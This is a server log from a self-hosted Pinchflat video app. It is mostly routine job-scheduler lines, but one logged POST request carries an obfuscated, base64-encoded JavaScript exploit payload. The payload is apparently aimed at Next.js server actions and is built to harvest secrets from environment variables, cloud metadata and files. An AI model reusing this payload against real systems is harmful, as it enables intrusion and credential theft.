23:29:04.040 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:34.043 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.459 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:04.046 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:34.048 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.461 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:04.051 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:34.054 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.463 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:04.057 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:34.060 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.464 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:04.063 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:34.066 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.466 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:04.069 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:34.070 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.468 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:04.073 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:34.075 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.470 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:04.078 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:34.081 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.472 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:04.084 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:34.087 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.473 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:04.090 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:34.092 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.475 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:04.094 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:34.096 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.476 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:04.099 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:34.101 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.477 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:04.104 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:34.106 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.477 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:04.108 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:30.904 [debug] Tzdata polling for update. 23:42:31.105 [debug] Tzdata polling shows the loaded tz database is up to date. 23:42:34.111 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.479 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:04.114 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:34.117 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.481 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:04.120 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:34.123 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.483 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:04.126 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:34.129 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.484 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:04.131 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:34.134 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.486 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:04.137 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:34.139 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.488 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:04.142 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:34.145 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.489 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:04.148 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:34.151 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.491 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:04.154 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:34.157 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.493 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:04.160 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:34.163 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.495 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:04.166 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:26.635 [info] POST / 23:52:26.638 [debug] QUERY OK source="settings" db=0.4ms idle=1207.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:52:26.639 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1208.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:52:26.639 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:52:26.640 [error] #PID<0.137210.0> running PinchflatWeb.Endpoint (connection #PID<0.137209.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.137209.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33302}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US;q=1.0, en;q=0.9", "content-length" => "14386", "content-type" => "multipart/form-data; boundary=formdataae45181ce81b8094b2b5a69d18d31346", "host" => "pinchflat.ocaff.com", "next-action" => "b9c32224e8714e394ad3a3a51fb5e4e3e1ac339f", "priority" => "u=0, i", "referer" => "https://pinchflat.ocaff.com/", "sec-ch-ua" => "\"Not:A-Brand\";v=\"99\", \"Google Chrome\";v=\"145\", \"Chromium\";v=\"145\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "x-forwarded-for" => "34.122.16.212", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "34.122.16.212" }, method: "POST", body_length: 14386, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_39d71243\":\"e6f3\",\"_response\":{\"_prefix\":\"var ykt=arguments[0x1];var kwc=ykt;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMoY3dkKycvcGFja2FnZS5qc29uJywndXRmOCcpKTsKICAgICAgY29uc3QgZD1wai5kZXBlbmRlbmNpZXN8fHt9OwogICAgICBSW0sucGtnXT17bjpwai5uYW1lLG54djpkLm5leHQsZCxk" <> ..., "1" => "\"$@0\"", "2" => "[]", "ba2025" => "cf9b6656e46359d7245a6eb8e77bc784531fd1e8d06c0ebdd5073ca32426e922" }, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "POST", owner: #PID<0.137210.0>, params: %{ "0" => "{\"_39d71243\":\"e6f3\",\"_response\":{\"_prefix\":\"var ykt=arguments[0x1];var kwc=ykt;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGt (truncated) 23:52:34.169 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.496 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:04.172 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:34.175 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.497 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:04.178 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:34.181 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.499 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:04.183 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:34.186 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.500 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:04.189 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:34.192 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.502 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:04.195 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:34.198 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.504 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:04.201 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:34.204 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.506 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:04.207 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:34.209 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.507 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:04.210 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:34.213 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.509 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:04.215 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:34.218 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.510 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:04.221 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:34.224 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.512 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:04.227 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:34.230 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.514 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:04.233 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:34.235 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.515 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:04.238 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:34.241 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.517 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:04.244 [info] {"source":"oban","duration":2110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:34.247 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.519 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:04.250 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:34.253 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.521 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:04.255 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:34.257 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.523 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:04.260 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:34.263 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.525 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:04.266 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:34.268 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.526 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:04.271 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:34.274 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.528 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:04.277 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:34.280 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.530 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:04.283 [info] 